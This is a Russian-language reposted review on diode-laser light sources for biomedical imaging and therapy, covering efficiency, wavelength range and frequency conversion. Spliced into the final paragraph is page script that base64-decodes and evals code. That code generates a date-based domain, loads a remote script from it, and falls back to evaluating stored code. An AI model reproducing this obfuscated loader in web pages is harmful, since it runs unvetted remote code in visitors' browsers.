Диодные лазеры безусловно, самые эффективные лазеры, доступные в настоящее время. Благодаря постоянному совершенствованию технологии диодных лазеров этот тип лазера становится все более привлекательным для широкого спектра биомедицинских приложений. По сравнению с характеристиками конкурирующих лазерных систем, диодные лазеры одновременно предлагают возможность настройки, высокую мощность излучения и компактные размеры при довольно низкой стоимости. Таким образом, диодные лазеры становятся все более предпочтительными в таких важных приложениях, как фотокоагуляция, оптическая когерентная томография, диффузная оптическая визуализация, визуализация за время жизни флуоресценции и терагерцовая визуализация. В этом обзоре представлен обзор последних разработок технологии и систем диодных лазеров и их использования в избранных биомедицинских приложениях.
Источники света на основе диодных лазеров для биомедицинских приложений
Со времени первой практической демонстрации лазера Теодором Майманом в 1960 году 1 спектр его применений значительно расширился. По мере совершенствования производства и производительности диодные лазеры также становились все более привлекательными. Благодаря прямой электрической накачке диодные лазеры на сегодняшний день являются наиболее эффективными источниками света, доступными в настоящее время. Будучи основанными на технологии микросхем, они могут производиться в большом количестве и по низкой цене. Их размеры всего несколько мм3 позволяют создавать очень компактные лазерные системы. Все эти функции увеличивают их прикладной потенциал, включая биомедицинские приложения. Области применения варьируются от визуализации и диагностики, например, оптической когерентной томографии, визуализации времени жизни флуоресценции, диффузной оптической визуализации, ТГц-визуализации, лазерной доплеровской визуализации или рамановской спектроскопии до прямого лечения, такого как фотокоагуляция, фотодинамическая терапия или биомодуляция и биоактивация.
По сравнению с лазерами, ограниченными определенными атомными переходами, диодные лазерыохватывают гораздо более широкий спектральный диапазон. В зависимости от используемых полупроводниковых соединений и их состава длины волн излучения типичных полупроводниковых соединений III-V варьируются от синего до ближнего инфракрасного (400 нм 2 мкм). Хотя спектральные боковые моды в достаточной степени подавляются при более высоких токах, применение диодных лазеров может быть ограничено их спектральными характеристиками. В этих случаях ширина полосы излучения может быть сужена, например, с помощью внутренней или внешней обратной связи. Последняя также позволяет настраивать одномодовое излучение на несколько десятков нанометров в дополнение к настраиваемости, полученной путем регулировки тока инжекции или температура лазера.
Несмотря на количество длин волн, доступных для диодных лазеров, выходной мощности может быть недостаточно. Кроме того, другие длины волн, особенно в видимом диапазоне, могут быть недоступны из-за отсутствия доступных лазерных структур. Одним из вариантов достижения этих длин волн или увеличения выходной мощности в определенной спектральной области является нелинейное преобразование частоты, как описано в этой статье. Другими вариантами являются полупроводниковые лазеры с оптической накачкой или твердотельные лазеры, которые в настоящем обзоре не рассматриваются. Из-за оптического возбуждения эти лазеры демонстрируют пониженную оптическую эффективность по сравнению с диодными лазерами с электрической накачкой. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } } (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/istochniki-sveta-na-osnove-diodnyh-lazerov-dlya-biomeditsinskih-prilozhenij/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
